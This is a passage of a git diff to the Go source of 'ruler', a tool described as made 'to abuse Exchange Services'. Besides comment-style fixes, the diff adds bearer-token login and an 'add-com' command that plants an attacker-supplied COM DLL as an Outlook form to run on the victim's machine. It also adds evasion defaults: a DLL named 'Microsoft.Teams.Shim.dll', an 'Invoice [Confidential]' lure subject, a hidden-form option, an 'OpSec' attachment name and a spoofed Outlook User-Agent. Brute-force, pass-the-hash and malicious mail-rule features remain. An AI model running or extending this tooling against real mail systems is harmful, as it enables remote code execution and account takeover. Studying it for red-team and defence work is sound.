columns := make([]PropertyTag, 3) columns[0] = PidTagSubject @@ -2321,17 +2334,17 @@ func GetContents(folderid []byte) (*RopQueryRowsResponse, error) { return GetTableContents(folderid, false, columns) } -//GetAssociatedContents returns the rows of a folder's assocated content table +// GetAssociatedContents returns the rows of a folder's assocated content table func GetAssociatedContents(folderid []byte, columns []PropertyTag) (*RopQueryRowsResponse, error) { return GetTableContents(folderid, true, columns) } -//GetContentsColumns returns the rows of a folder's content table +// GetContentsColumns returns the rows of a folder's content table func GetContentsColumns(folderid []byte, columns []PropertyTag) (*RopQueryRowsResponse, error) { return GetTableContents(folderid, false, columns) } -//GetTableContents returns the contents of a specific table +// GetTableContents returns the contents of a specific table func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQueryRowsResponse, error) { var contentsTable *RopGetContentsTableResponse var svrhndl []byte @@ -2388,8 +2401,8 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ } -//DisplayRules function get's a folder from the folders id -//this is more of a wrapper to facilitate legacy code until I get around to changing it in ruler.go +// DisplayRules function get's a folder from the folders id +// this is more of a wrapper to facilitate legacy code until I get around to changing it in ruler.go func DisplayRules() ([]Rule, error) { cols := make([]PropertyTag, 2) cols[0] = PidTagRuleID @@ -2410,7 +2423,7 @@ func DisplayRules() ([]Rule, error) { return rules, nil } -//FetchRules function returns rules along with the associated columns +// FetchRules function returns rules along with the associated columns func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { execRequest := ExecuteRequest{} @@ -2456,8 +2469,8 @@ func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { } -//ExecuteDeleteRuleAdd adds a new mailrule for deleting a message -//This should be merged with ExecuteMailRuleAdd +// ExecuteDeleteRuleAdd adds a new mailrule for deleting a message +// This should be merged with ExecuteMailRuleAdd func ExecuteDeleteRuleAdd(rulename, triggerword string) (*ExecuteResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -2511,7 +2524,7 @@ func ExecuteDeleteRuleAdd(rulename, triggerword string) (*ExecuteResponse, error return nil, err } -//ExecuteMailRuleAdd adds a new mailrules +// ExecuteMailRuleAdd adds a new mailrules func ExecuteMailRuleAdd(rulename, triggerword, triggerlocation string, delete bool) (*ExecuteResponse, error) { //valid @@ -2569,7 +2582,7 @@ func ExecuteMailRuleAdd(rulename, triggerword, triggerlocation string, delete bo return execResponse, nil } -//ExecuteMailRuleDelete function to delete mailrules +// ExecuteMailRuleDelete function to delete mailrules func ExecuteMailRuleDelete(ruleid []byte) error { execRequest := ExecuteRequest{} execRequest.Init() @@ -2597,7 +2610,7 @@ func ExecuteMailRuleDelete(ruleid []byte) error { return e } -//Ping send a PING message to the server +// Ping send a PING message to the server func Ping() { //for RPC we need to keep the socket alive so keep sending pings if AuthSession.Transport != HTTP { @@ -2609,8 +2622,8 @@ func Ping() { } } -//DecodeBufferToRows returns the property rows contained in the buffer, takes a list -//of propertytags. These are needed to figure out how to split the columns in the rows +// DecodeBufferToRows returns the property rows contained in the buffer, takes a list +// of propertytags. These are needed to figure out how to split the columns in the rows func DecodeBufferToRows(buff []byte, cols []PropertyTag) []PropertyRow { var pos = 0 diff --git a/ruler.go b/ruler.go index 396d415..8b19137 100644 --- a/ruler.go +++ b/ruler.go @@ -20,7 +20,7 @@ import ( "github.com/urfave/cli" ) -//globals +// globals var config utils.Session func exit(err error) { @@ -37,7 +37,7 @@ func exit(err error) { os.Exit(exitcode) } -//function to perform an autodiscover +// function to perform an autodiscover func discover(c *cli.Context) error { if c.GlobalString("domain") == "" { return fmt.Errorf("Required param --domain is missing") @@ -56,19 +56,35 @@ func discover(c *cli.Context) error { } var err error - if c.Bool("dump") == true && c.GlobalString("password") == "" && c.GlobalString("hash") == "" { - fmt.Printf("Password: ") - var pass []byte - pass, err = gopass.GetPasswd() - if err != nil { - // Handle gopass.ErrInterrupted or getch() read error - return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash") + if c.Bool("dump") == true { + password := c.GlobalString("password") + hash := c.GlobalString("hash") + token := c.GlobalString("token") + + if password != "" && hash != "" && token != "" { + return fmt.Errorf("Only one of password, hash, or token should be provided") } - config.Pass = string(pass) - } else { - config.Pass = c.GlobalString("password") - if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil { - return fmt.Errorf("Invalid hash provided. Hex decode failed") + + if password != "" { + config.Pass = password + } else if hash != "" { + if config.NTHash, err = hex.DecodeString(hash); err != nil { + return fmt.Errorf("Invalid hash provided. Hex decode failed") + } + } else if token != "" { + config.BearerToken = token + if !c.GlobalBool("o365") { + return fmt.Errorf("Token only supported for Office365 (--o365)") + } + } else { + fmt.Printf("Password: ") + var pass []byte + pass, err = gopass.GetPasswd() + if err != nil { + // Handle gopass.ErrInterrupted or getch() read error + return fmt.Errorf("Password, hash or token required. Supply NTLM hash with --hash or bearer token with --token") + } + config.Pass = string(pass) } } @@ -151,7 +167,7 @@ func discover(c *cli.Context) error { return nil } -//function to perform a bruteforce +// function to perform a bruteforce func brute(c *cli.Context) error { if c.String("users") == "" && c.String("userpass") == "" { return fmt.Errorf("Either --users or --userpass required") @@ -163,6 +179,9 @@ func brute(c *cli.Context) error { if c.GlobalString("domain") == "" && c.GlobalString("url") == "" && c.GlobalBool("o365") == false { return fmt.Errorf("Either --domain or --url required") } + if c.GlobalString("token") != "" { + return fmt.Errorf("Token isn't supported for bruteforce") + } utils.Info.Println("Starting bruteforce") domain := c.GlobalString("domain") @@ -185,7 +204,7 @@ func brute(c *cli.Context) error { return nil } -//Function to add new rule +// Function to add new rule func addRule(c *cli.Context) error { utils.Info.Println("Adding Rule") @@ -215,7 +234,7 @@ func addRule(c *cli.Context) error { return nil } -//Function to delete a rule +// Function to delete a rule func deleteRule(c *cli.Context) error { var ruleid []byte var err error @@ -264,7 +283,7 @@ func deleteRule(c *cli.Context) error { return err } -//Function to display all rules +// Function to display all rules func displayRules(c *cli.Context) error { utils.Info.Println("Retrieving Rules") er := printRules() @@ -272,8 +291,8 @@ func displayRules(c *cli.Context) error { return er } -//sendMessage sends a message to the user, using their own Account -//uses supplied subject and body +// sendMessage sends a message to the user, using their own Account +// uses supplied subject and body func sendMessage(subject, body string) error { propertyTags := make([]mapi.PropertyTag, 1) propertyTags[0] = mapi.PidTagDisplayName @@ -291,25 +310,37 @@ func sendMessage(subject, body string) error { return nil } -//Function to connect to the Exchange server +// Function to connect to the Exchange server func connect(c *cli.Context) error { var err error + password := c.GlobalString("password") + hash := c.GlobalString("hash") + token := c.GlobalString("token") - //if no password or hash was supplied, read from stdin - if c.GlobalString("password") == "" && c.GlobalString("hash") == "" && c.GlobalString("config") == "" { + if password != "" && hash != "" && token != "" { + return fmt.Errorf("Only one of password, hash, or token should be provided") + } + + if password != "" { + config.Pass = password + } else if hash != "" { + if config.NTHash, err = hex.DecodeString(hash); err != nil { + return fmt.Errorf("Invalid hash provided. Hex decode failed") + } + } else if token != "" { + config.BearerToken = token + if !c.GlobalBool("o365") { + return fmt.Errorf("Token only supported for Office365 (--o365)") + } + } else { fmt.Printf("Password: ") var pass []byte pass, err = gopass.GetPasswd() if err != nil { // Handle gopass.ErrInterrupted or getch() read error - return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash") + return fmt.Errorf("Password, hash or token required. Supply NTLM hash with --hash or bearer token with --token") } config.Pass = string(pass) - } else { - config.Pass = c.GlobalString("password") - if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil { - return fmt.Errorf("Invalid hash provided. Hex decode failed") - } } //setup our autodiscover service @@ -400,18 +431,21 @@ func connect(c *cli.Context) error { return fmt.Errorf("Invalid hash provided. Hex decode failed") } } + if yamlConfig.Token != "" { + config.BearerToken = yamlConfig.Token + } if config.User == "" && config.Email == "" { return fmt.Errorf("Missing username and/or email argument. Use --domain (if needed), --username and --email or the --config") } - if config.Pass == "" { + if config.Pass == "" && config.NTHash == nil && config.BearerToken == "" { fmt.Printf("Password: ") var pass []byte pass, err = gopass.GetPasswd() if err != nil { // Handle gopass.ErrInterrupted or getch() read error - return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash") + return fmt.Errorf("Password, hash or token required. Supply NTLM hash with --hash or bearer token with --token") } config.Pass = string(pass) } @@ -574,7 +608,7 @@ func printRules() error { return nil } -//Function to display all addressbook entries +// Function to display all addressbook entries func abkList(c *cli.Context) error { utils.Trace.Println("Let's play addressbook") if config.Transport == mapi.RPC { @@ -621,7 +655,7 @@ func abkList(c *cli.Context) error { return nil } -//Function to display all addressbook entries +// Function to display all addressbook entries func abkDump(c *cli.Context) error { if config.Transport == mapi.RPC { return fmt.Errorf("Address book support is currently limited to MAPI/HTTP") @@ -668,7 +702,7 @@ func abkDump(c *cli.Context) error { return nil } -func createForm(c *cli.Context) error { +func createScriptForm(c *cli.Context) error { //first check that supplied command is valid var command string if c.String("input") != "" { @@ -685,12 +719,14 @@ func createForm(c *cli.Context) error { return fmt.Errorf("Command is too large. Maximum command size is 4096 characters.") } - suffix := c.String("suffix") + formClassName := fmt.Sprintf("IPM.Note.%s", c.String("suffix")) + attachmentName := c.String("attachment") + folderid := mapi.AuthSession.Folderids[mapi.INBOX] utils.Trace.Println("Verifying that form does not exist.") //check that form does not already exist - if err := forms.CheckForm(folderid, suffix); err != nil { + if err := forms.CheckForm(folderid, formClassName); err != nil { return err } var rname, triggerword string @@ -701,26 +737,28 @@ func createForm(c *cli.Context) error { rname = "NORULE" } - msgid, err := forms.CreateFormMessage(suffix, rname) + msgid, err := forms.CreateFormMessageForScript(formClassName, rname) + if err != nil { return err } - if err := forms.CreateFormAttachmentPointer(folderid, msgid); err != nil { + if err := forms.CreateFormAttachmentPointerForScript(folderid, msgid, attachmentName, formClassName); err != nil { return err } if c.Bool("raw") == true { - if err := forms.CreateFormAttachmentForDeleteTemplate(folderid, msgid, command); err != nil { + if err := forms.CreateFormAttachmentForScriptWithDeleteTemplate(folderid, msgid, command, attachmentName); err != nil { return err } } else { - if err := forms.CreateFormAttachmentTemplate(folderid, msgid, command); err != nil { + if err := forms.CreateFormAttachmentTemplateForString(folderid, msgid, command, attachmentName); err != nil { return err } } - utils.Info.Println("Form created successfully") - if c.Bool("rule") == true { + utils.Info.Println("Form created successfully: ", formClassName) + + if c.Bool("rule") { utils.Info.Printf("Rule trigger set. Adding new rule with name %s\n", rname) utils.Info.Printf("Adding new rule with trigger of %s\n", triggerword) @@ -731,14 +769,61 @@ func createForm(c *cli.Context) error { utils.Info.Println("Trigger rule created.") } - if c.Bool("send") == false { + if c.Bool("send") { utils.Info.Printf("Autosend disabled. You'll need to trigger the rule by sending an email with the keyword \"%s\" present in the subject. \n", triggerword) } c.Set("subject", triggerword) } //trigger the email if the send option is enabled - if c.Bool("send") == true { + if c.Bool("send") { + return triggerForm(c) + } + return nil +} + +func createCOMForm(c *cli.Context) error { + dllBytes, err := utils.ReadFile(c.String("dll")) + if err != nil { + return err + } + + formClassName := fmt.Sprintf("IPM.Note.%s", c.String("suffix")) + dllName := c.String("name") + clsidString := c.String("clsid") + folderid := mapi.AuthSession.Folderids[mapi.INBOX] + + //check that form does not already exist + utils.Trace.Println("Verifying that form does not exist.") + if err := forms.CheckForm(folderid, formClassName); err != nil { + return err + } + + clsid := utils.GenerateUUID() + if clsidString != "random" { + clsid, err = utils.StringToGuid(clsidString) + if err != nil { + return err + } + } + + msgid, err := forms.CreateFormMessageForCOM(formClassName, clsid, c.String("suffix"), "", c.Bool("hidden")) + if err != nil { + return err + } + + if err := forms.CreateFormAttachmentPointerForCOM(folderid, msgid, clsid, dllName); err != nil { + return err + } + + if err := forms.CreateFormAttachmentForCOM(folderid, msgid, dllName, dllBytes); err != nil { + return err + } + + utils.Info.Println("Form created successfully: ", formClassName) + + //trigger the email if the send option is enabled + if c.Bool("send") { return triggerForm(c) } return nil @@ -1128,7 +1213,7 @@ func main() { app.Name = "ruler" app.Usage = "A tool to abuse Exchange Services" - app.Version = "2.4.0" + app.Version = "2.5.0" app.Authors = []cli.Author{ cli.Author{ Name: "Etienne Stalmans", @@ -1173,6 +1258,11 @@ A tool by @_staaldraad and @sensepost to abuse Exchange Services. Value: "", Usage: "A NT hash for pass the hash", }, + cli.StringFlag{ + Name: "token", + Value: "", + Usage: "An Office 365 bearer token scoped for Outlook use", + }, cli.StringFlag{ Name: "email,e", Value: "", @@ -1200,7 +1290,7 @@ A tool by @_staaldraad and @sensepost to abuse Exchange Services. }, cli.StringFlag{ Name: "useragent,ua", - Value: "ruler", + Value: "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.16529; Pro)", Usage: "Custom User-Agent string", }, cli.BoolFlag{ @@ -1545,8 +1635,8 @@ A tool by @_staaldraad and @sensepost to abuse Exchange Services. Usage: "Interact with the forms function.", Subcommands: []cli.Command{ { - Name: "add", - Usage: "creates a new form. ", + Name: "add-script", + Usage: "creates a new script based form. ", Flags: []cli.Flag{ cli.StringFlag{ Name: "suffix", @@ -1563,6 +1653,11 @@ A tool by @_staaldraad and @sensepost to abuse Exchange Services. Value: "", Usage: "A path to a file containing the command to execute. This takes precidence over 'command'", }, + cli.StringFlag{ + Name: "attachment", + Value: "FS9201.tmp", + Usage: "The name of the attachment (for OpSec)", + }, cli.BoolFlag{ Name: "send,s", Usage: "Trigger the form once it's been created.", @@ -1600,7 +1695,65 @@ A tool by @_staaldraad and @sensepost to abuse Exchange Services. utils.Error.Println(err) cli.OsExiter(1) } - err = createForm(c) + err = createScriptForm(c) + exit(err) + return nil + }, + }, + { + Name: "add-com", + Usage: "creates a new COM based form. ", + Flags: []cli.Flag{ + cli.StringFlag{ + Name: "suffix", + Value: "pew", + Usage: "A 3 character suffix for the form. Defaults to pew", + }, + cli.StringFlag{ + Name: "dll,d", + Value: "", + Usage: "A path to a the COM DLL file to execute", + }, + cli.StringFlag{ + Name: "clsid,c", + Value: "random", + Usage: "CLSID to use for the remote registration", + }, + cli.StringFlag{ + Name: "name,n", + Value: "Microsoft.Teams.Shim.dll", + Usage: "The DLL name on the remote system", + }, + cli.BoolFlag{ + Name: "hidden", + Usage: "Attempt to hide the form.", + }, + cli.BoolFlag{ + Name: "send,s", + Usage: "Trigger the form once it's been created", + }, + cli.StringFlag{ + Name: "body,b", + Value: "This message cannot be displayed in the previewer.\n\n\n\n\n", + Usage: "The email body you may wish to use", + }, + cli.StringFlag{ + Name: "subject", + Value: "Invoice [Confidential]", + Usage: "The subject you wish to use, this should contain your trigger word", + }, + }, + Action: func(c *cli.Context) error { + if c.String("suffix") == "" { + return cli.NewExitError("The suffix is needs to be set.", 1) + } + + err := connect(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + err = createCOMForm(c) exit(err) return nil }, diff --git a/utils/datatypes.go b/utils/datatypes.go index 1e34907..edf9cdc 100644 --- a/utils/datatypes.go +++ b/utils/datatypes.go @@ -7,7 +7,7 @@ import ( "net/url" ) -//Config containing the session variables +// Config containing the session variables type Config struct { Domain string User string @@ -19,10 +19,10 @@ type Config struct { Admin bool Proxy string UserAgent string - Hostname string + Hostname string } -//Session stores authentication cookies etc +// Session stores authentication cookies etc type Session struct { User string Pass string @@ -51,6 +51,7 @@ type Session struct { Hostname string NTHash []byte NTLMAuth string + BearerToken string RPCSet bool ContextHandle []byte //16-byte cookie for the RPC session @@ -65,12 +66,13 @@ type Session struct { RPCNtlmSessionKey []byte } -//YamlConfig holds the data that a user supplies with a yaml config file +// YamlConfig holds the data that a user supplies with a yaml config file type YamlConfig struct { Username string Email string Password string Hash string + Token string Domain string UserDN string Mailbox string @@ -81,26 +83,26 @@ type YamlConfig struct { MapiURL string } -//AutodiscoverResp structure for unmarshal +// AutodiscoverResp structure for unmarshal type AutodiscoverResp struct { Response Response } -//Response structure for unmarshal +// Response structure for unmarshal type Response struct { User User Account Account Error AutoError } -//AutoError structure for unmarshal +// AutoError structure for unmarshal type AutoError struct { ErrorCode string Message string DebugData string } -//User structure for unmarshal +// User structure for unmarshal type User struct { DisplayName string LegacyDN string @@ -108,7 +110,7 @@ type User struct { AutoDiscoverSMTPAddress string } -//Account structure for unmarshal +// Account structure for unmarshal type Account struct { AccountType string Action string @@ -117,7 +119,7 @@ type Account struct { Protocol []*Protocol } -//Protocol structure for unmarshal +// Protocol structure for unmarshal type Protocol struct { Type string TypeAttr string `xml:"Type,attr"` @@ -157,30 +159,30 @@ type Protocol struct { PublicFolderInformation *PublicFolderInformation } -//ProtoInternal strucuture for unmarshal +// ProtoInternal strucuture for unmarshal type ProtoInternal struct { OWAUrl string Protocol *Protocol } -//MailStore structure for unmarshal +// MailStore structure for unmarshal type MailStore struct { InternalUrl string ExternalUrl string } -//AddressBook structure for unmarshal +// AddressBook structure for unmarshal type AddressBook struct { InternalUrl string ExternalUrl string } -//PublicFolderInformation structure for unmarshal +// PublicFolderInformation structure for unmarshal type PublicFolderInformation struct { SMTPAddress string } -//Unmarshal returns the XML response as golang structs +// Unmarshal returns the XML response as golang structs func (autodiscresp *AutodiscoverResp) Unmarshal(resp []byte) error { //var autodiscresp *AutodiscoverResp err := xml.Unmarshal(resp, autodiscresp) @@ -191,7 +193,7 @@ func (autodiscresp *AutodiscoverResp) Unmarshal(resp []byte) error { return nil } -//Unmarshal returns the XML response as golang structs +// Unmarshal returns the XML response as golang structs func (autodiscresp *AutodiscoverResp) Marshal() (resp []byte, err error) { //var autodiscresp *AutodiscoverResp resp, err = xml.Marshal(autodiscresp) diff --git a/utils/utils.go b/utils/utils.go index 49c7af9..603820e 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -26,7 +26,7 @@ var ( DecBase64 = base64.StdEncoding.DecodeString ) -//ReadFile returns the contents of a file at 'path' +// ReadFile returns the contents of a file at 'path' func ReadFile(path string) ([]byte, error) { if _, err := os.Stat(path); err != nil { return nil, err @@ -38,8 +38,8 @@ func ReadFile(path string) ([]byte, error) { return data, nil } -//CookieGen creates a 16byte UUID -func CookieGen() []byte { +// GenerateUUID creates a 16byte UUID +func GenerateUUID() []byte { rand.Seed(time.Now().UnixNano()) b := make([]byte, 16) _, err := rand.Read(b) @@ -51,12 +51,76 @@ func CookieGen() []byte { return b } -//COUNT returns the uint16 byte stream of an int. This is required for PtypBinary +func StringToGuid(guid string) ([]byte, error) { + guid = strings.Trim(guid, "{}") + parts := strings.Split(guid, "-") + + if len(parts) != 5 { + return nil, fmt.Errorf("invalid GUID format") + } + + var parsedBytes []byte + + for i, part := range parts { + hexBytes, err := hex.DecodeString(part) + if err != nil { + return nil, err + } + + if i < 3 { + for j, k := 0, len(hexBytes)-1; j < k; j, k = j+1, k-1 { + hexBytes[j], hexBytes[k] = hexBytes[k], hexBytes[j] + } + } + + parsedBytes = append(parsedBytes, hexBytes...) + } + + return parsedBytes, nil +} + +func GuidToString(bytes []byte) (string, error) { + if len(bytes) != 16 { + return "", fmt.Errorf("invalid byte array length") + } + + parts := make([]string, 5) + + // Data1 + for i := 0; i < 4; i++ { + parts[0] += fmt.Sprintf("%02x", bytes[3-i]) + } + + // Data2 + for i := 0; i < 2; i++ { + parts[1] += fmt.Sprintf("%02x", bytes[5-i]) + } + + // Data3 + for i := 0; i < 2; i++ { + parts[2] += fmt.Sprintf("%02x", bytes[7-i]) + } + + // Data4 + parts[3] = fmt.Sprintf("%02x%02x", bytes[8], bytes[9]) + + // Data5 + for i := 0; i < 6; i++ { + parts[4] += fmt.Sprintf("%02x", bytes[10+i]) + } + + guid := "{" + strings.Join(parts, "-") + "}" + guid = strings.ToUpper(guid) + + return guid, nil +} + +// COUNT returns the uint16 byte stream of an int. This is required for PtypBinary func COUNT(val int) []byte { return EncodeNum(uint16(val)) } -//FromUnicode read unicode and convert to byte array +// FromUnicode read unicode and convert to byte array func FromUnicode(uni []byte) string { st := "" for _, k := range uni { @@ -67,7 +131,7 @@ func FromUnicode(uni []byte) string { return st } -//UniString converts a string into a unicode string byte array +// UniString converts a string into a unicode string byte array func UniString(str string) []byte { bt := make([]byte, (len(str) * 2)) cnt := 0 @@ -81,7 +145,7 @@ func UniString(str string) []byte { return bt } -//UTF16BE func to encode strings for the CRuleElement +// UTF16BE func to encode strings for the CRuleElement func UTF16BE(str string) []byte { bt := make([]byte, (len(str) * 2)) cnt := 0 @@ -99,7 +163,7 @@ func UTF16BE(str string) []byte { return bt } -//ToBinary takes a string and hexlyfies it +// ToBinary takes a string and hexlyfies it func ToBinary(str string) []byte { src := []byte(str) //binary requires length @@ -107,7 +171,7 @@ func ToBinary(str string) []byte { return dst } -//DecodeInt64 decode 8 byte value into int64 +// DecodeInt64 decode 8 byte value into int64 func DecodeInt64(num []byte) int64 { var number int64 bf := bytes.NewReader(num) @@ -115,7 +179,7 @@ func DecodeInt64(num []byte) int64 { return number } -//DecodeUint64 decode 4 byte value into uint32 +// DecodeUint64 decode 4 byte value into uint32 func DecodeUint64(num []byte) uint64 { var number uint64 bf := bytes.NewReader(num) @@ -123,7 +187,7 @@ func DecodeUint64(num []byte) uint64 { return number } -//DecodeUint32 decode 4 byte value into uint32 +// DecodeUint32 decode 4 byte value into uint32 func DecodeUint32(num []byte) uint32 { var number uint32 bf := bytes.NewReader(num) @@ -131,7 +195,7 @@ func DecodeUint32(num []byte) uint32 { return number } -//DecodeUint16 decode 2 byte value into uint16 +// DecodeUint16 decode 2 byte value into uint16 func DecodeUint16(num []byte) uint16 { var number uint16 bf := bytes.NewReader(num) @@ -139,7 +203,7 @@ func DecodeUint16(num []byte) uint16 { return number } -//DecodeUint8 decode 1 byte value into uint8 +// DecodeUint8 decode 1 byte value into uint8 func DecodeUint8(num []byte) uint8 { var number uint8 bf := bytes.NewReader(num) @@ -147,21 +211,21 @@ func DecodeUint8(num []byte) uint8 { return number } -//EncodeNum encode a number as a byte array +// EncodeNum encode a number as a byte array func EncodeNum(v interface{}) []byte { byteNum := new(bytes.Buffer) binary.Write(byteNum, binary.LittleEndian, v) return byteNum.Bytes() } -//EncodeNumBE encode a number in big endian as a byte array +// EncodeNumBE encode a number in big endian as a byte array func EncodeNumBE(v interface{}) []byte { byteNum := new(bytes.Buffer) binary.Write(byteNum, binary.BigEndian, v) return byteNum.Bytes() } -//BodyToBytes func +// BodyToBytes func func BodyToBytes(DataStruct interface{}) []byte { dumped := []byte{} v := reflect.ValueOf(DataStruct) @@ -203,32 +267,32 @@ func BodyToBytes(DataStruct interface{}) []byte { return dumped } -//ReadUint32 read 4 bytes and return as uint32 +// ReadUint32 read 4 bytes and return as uint32 func ReadUint32(pos int, buff []byte) (uint32, int) { return DecodeUint32(buff[pos : pos+4]), pos + 4 } -//ReadUint16 read 2 bytes and return as uint16 +// ReadUint16 read 2 bytes and return as uint16 func ReadUint16(pos int, buff []byte) (uint16, int) { return DecodeUint16(buff[pos : pos+2]), pos + 2 } -//ReadUint8 read 1 byte and return as uint8 +// ReadUint8 read 1 byte and return as uint8 func ReadUint8(pos int, buff []byte) (uint8, int) { return DecodeUint8(buff[pos : pos+2]), pos + 2 } -//ReadBytes read and return count number o bytes +// ReadBytes read and return count number o bytes func ReadBytes(pos, count int, buff []byte) ([]byte, int) { return buff[pos : pos+count], pos + count } -//ReadByte read and return a single byte +// ReadByte read and return a single byte func ReadByte(pos int, buff []byte) (byte, int) { return buff[pos : pos+1][0], pos + 1 } -//ReadUnicodeString read and return a unicode string +// ReadUnicodeString read and return a unicode string func ReadUnicodeString(pos int, buff []byte) ([]byte, int) { //stupid hack as using bufio and ReadString(byte) would terminate too early //would terminate on 0x00 instead of 0x0000 @@ -240,8 +304,8 @@ func ReadUnicodeString(pos int, buff []byte) ([]byte, int) { return []byte(str), pos + index + 2 } -//ReadUTF16BE reads the unicode string that the outlook rule file uses -//this basically means there is a length byte that we need to skip over +// ReadUTF16BE reads the unicode string that the outlook rule file uses +// this basically means there is a length byte that we need to skip over func ReadUTF16BE(pos int, buff []byte) ([]byte, int) { lenb := (buff[pos : pos+1]) @@ -258,14 +322,14 @@ func ReadUTF16BE(pos int, buff []byte) ([]byte, int) { return str, pos } -//ReadASCIIString returns a string as ascii +// ReadASCIIString returns a string as ascii func ReadASCIIString(pos int, buff []byte) ([]byte, int) { bf := bytes.NewBuffer(buff[pos:]) str, _ := bf.ReadString(0x00) return []byte(str), pos + len(str) } -//ReadTypedString reads a string as either Unicode or ASCII depending on type value +// ReadTypedString reads a string as either Unicode or ASCII depending on type value func ReadTypedString(pos int, buff []byte) ([]byte, int) { var t = buff[pos] if t == 0 { //no string @@ -286,14 +350,14 @@ func ReadTypedString(pos int, buff []byte) ([]byte, int) { return str, pos + len(str) } -//Hash Calculate a 32byte hash +// Hash Calculate a 32byte hash func Hash(s string) uint32 { h := fnv.New32() h.Write([]byte(s)) return h.Sum32() } -//Obfuscate traffic using XOR and the magic byte as specified in RPC docs +// Obfuscate traffic using XOR and the magic byte as specified in RPC docs func Obfuscate(data []byte) []byte { bnew := make([]byte, len(data)) for k := range data { @@ -302,7 +366,7 @@ func Obfuscate(data []byte) []byte { return bnew } -//GenerateString creates a random string of lenght pcount +// GenerateString creates a random string of lenght pcount func GenerateString(pcount int) string { var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") @@ -315,7 +379,7 @@ func GenerateString(pcount int) string { return string(b) } -//ReadYml reads the supplied config file, Unmarshals the data into the global config struct. +// ReadYml reads the supplied config file, Unmarshals the data into the global config struct. func ReadYml(yml string) (YamlConfig, error) { var config YamlConfig data, err := ioutil.ReadFile(yml) @@ -329,10 +393,11 @@ func ReadYml(yml string) (YamlConfig, error) { return config, err } -//GUIDToByteArray mimics Guid.ToByteArray Method () from .NET +// GUIDToByteArray mimics Guid.ToByteArray Method () from .NET // The example displays the following output: -// Guid: 35918bc9-196d-40ea-9779-889d79b753f0 -// C9 8B 91 35 6D 19 EA 40 97 79 88 9D 79 B7 53 F0 +// +// Guid: 35918bc9-196d-40ea-9779-889d79b753f0 +// C9 8B 91 35 6D 19 EA 40 97 79 88 9D 79 B7 53 F0 func GUIDToByteArray(guid string) (array []byte, err error) { //get rid of {} if passed in guid = strings.Replace(guid, "{", "", 1) diff --git a/utils/withheader.go b/utils/withheader.go new file mode 100644 index 0000000..6ed1931 --- /dev/null +++ b/utils/withheader.go @@ -0,0 +1,43 @@ +package utils + +import ( + "net/http" + "sync" +) + +type withHeader struct { + mu sync.RWMutex + http.Header + rt http.RoundTripper +} + +func WithHeader(rt http.RoundTripper) *withHeader { + if rt == nil { + rt = http.DefaultTransport + } + + return &withHeader{Header: make(http.Header), rt: rt} +} + +func (h *withHeader) RoundTrip(req *http.Request) (*http.Response, error) { + h.mu.RLock() + defer h.mu.RUnlock() + + if len(h.Header) == 0 { + return h.rt.RoundTrip(req) + } + + req = req.Clone(req.Context()) + for k, v := range h.Header { + req.Header[k] = v + } + + return h.rt.RoundTrip(req) +} + +func (h *withHeader) Set(k, v string) { + h.mu.Lock() + defer h.mu.Unlock() + + h.Header.Set(k, v) +}